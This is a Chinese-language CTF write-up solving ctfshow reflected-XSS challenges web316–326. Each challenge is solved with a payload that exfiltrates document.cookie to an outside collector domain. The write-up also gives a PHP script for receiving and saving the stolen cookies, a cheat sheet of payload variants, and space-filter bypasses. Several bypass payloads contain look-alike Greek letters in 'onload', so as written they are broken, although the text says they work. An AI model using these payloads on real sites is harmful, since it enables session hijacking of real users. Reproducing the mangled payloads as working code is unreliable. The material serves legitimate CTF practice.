ctfshow_web316-326_反射型XSS
Web316 反射型XSS
首先打开网站,看一下,发现这个是反射型XSS
法一:自己有服务器域名
反射型,可以在自己服务器上,写一个类似于将参数写到当前目录PHP的小脚本。
脚本具体内容如下:
<?php
$content = $_GET[1];
if(isset($content)){
file_put_contents('tmp/flag.txt',$content);
}else{
echo 'no date input';
}
开发者工具里,控制台,输入命令
alert(document.cookie)
之后出现弹窗,如下
显然不对,之后要想拿到管理员的这个弹窗里的flag
如果有自己私域的话,可以用上面代码然后使用下述payload,可以在tmp文件夹下看到flag.txt里有flag
注意,这里不能用自己127.0.0.1,需要转发cookie才能看到,所以要用私域。
<script>
document.location.href='http://这里是私域名/316.php?1='+document.cookie
</script>
<!--316.php是写的php代码-->
法二:使用ceye网址临时域名
这个需要一个域名,去这个网站可以注册一个临时域名:CEYE
之后输入如下payload,然后生成链接,之后便可在那个网站里收到http响应。
<script>
var img=document.createElement("img"); img.src="http://gvipx6.ceye.io/"+document.cookie;
</script>
<!--这里gvipx6.ceye.io是上述网址产生的临时域名-->
这个payload的意思如下:
var img=document.createElement("img"); //这个是生成一个img对象
img.src="http://gvipx6.ceye.io/"+document.cookie;
/*是加载一张图片加上当前的cookie这里我们填写的是接收平台的地址,所以带上document.cookie去加载地址然后平台会有记录cookie的值,ctf平台会有个虚拟机器人,充当admin身份,每隔一段时间点开网站它一点开就会加载payload,发送它自身的cookie在那个框内输入那个标签输进去,网站一加载就执行了我们输入的xss代码然后他自己会发送cookie
*/
话说这个网址的虚拟机器人充当admin身份,可以直接查看http,上面的php代码没有用到。
之后便得到了flag
ctfshow{09df5968-f68b-423e-b12f-7b8fce03d73f}
法三:使用xss平台
使用xss平台:https://xss.pt/xss.php
参考这个博主师傅的方法:使用XSS Platform解决XSS题目
普通反射型XSS方法总结
- script
<script>var img=document.createElement("img"); img.src="http://....ceye.io/"+document.cookie;</script>
- window.open
<script>window.open('http://....ceye.io/'+document.cookie)</script>
- input
<input onfocus="window.open('http://....ceye.io/'+document.cookie)" autofocus>
- svg
<svg onload="window.open('http://....ceye.io/'+document.cookie)">
- iframe
<iframe onload="window.open('http://....ceye.io/'+document.cookie)"></iframe>
5. body
<body onload="window.open('http://....ceye.io/'+document.cookie)">
- 可能还有一个工具和一个平台对付此类题很好用:
平台:XSS Platform
工具:XSStrike
web317 反射型XSS 带过滤 用
看题目这里,发现它过滤了。
输入316题的payload,发现没有任何东西。
由此可知,可能是过滤了
- 用body语句构造payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
写入之后,点击生成链接之后,出现了此界面,有代码201可知,注入成功,看一下ceye的网址上http request
出现了flag
本题的flag为
ctfshow{47df6a6c-2ce2-4786-b8b8-985289cff2fd}
web318 反射型XSS 带过滤 用
和上一个题一样,输入payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
出现201代码
打开ceye网站,看到flag
flag如下:
ctfshow{d7410f6b-2110-4aa2-81c7-3f0d80ac157f}
web319 反射型XSS 带过滤 用
和之前一样,构造payload
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
flag如下:
ctfshow{30eb2d6e-e25b-4d48-a214-a26a7defd9ec}
web320 带过滤(空格)反射型XSS 用
如之前的题,构造一样的payload,生成链接
<body onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
点击生成链接之后,发现没有反应,发现这个题是过滤了空格
一般空格被过滤有如下替换方法
- /**/
- /
之后修改payload,把空格
替换成/**/
,变成如下payload,两个都可以
<body/**/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
flag如下:
ctfshow{9dbd340c-ba6f-4a10-88b7-d5ed49f7a671}
web321 带过滤(空格)反射型XSS 用
和上一个题一样
构造payload
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
flag如下
ctfshow{ea096bdf-2c6b-4ca5-a8ed-e0c77e6eaeef}
web322 过滤(空格)反射型XSS 用
构造payload
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
flag如下
ctfshow{0cd32425-ed6b-47d9-8c0d-9e9d4d5d4648}
web323 过滤(空格)反射型XSS 用
和上题一样的payload,也是过滤了空格
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
flag如下:
ctfshow{7a355fe9-775c-4918-a1d6-d15ca2b53148}
web324 过滤(空格)反射型XSS 用
和上题一样的payload,也是过滤了空格
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
ctfshow{2656346c-f0b8-4e33-98d3-17da7379e64d}
web325 过滤(空格)反射型XSS 用
和上题一样的payload,也是过滤了空格
<body/οnlοad="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
ctfshow{e46cfdf8-1926-476b-ac15-7a790472015f}
web326 过滤(空格)反射型XSS 用
和上题一样的payload,也是过滤了空格
<body/onload="window.open('http://gvipx6.ceye.io/'+document.cookie)"></body>
ctfshow{7aa1a537-36af-4162-91f4-d38ac4a75d88}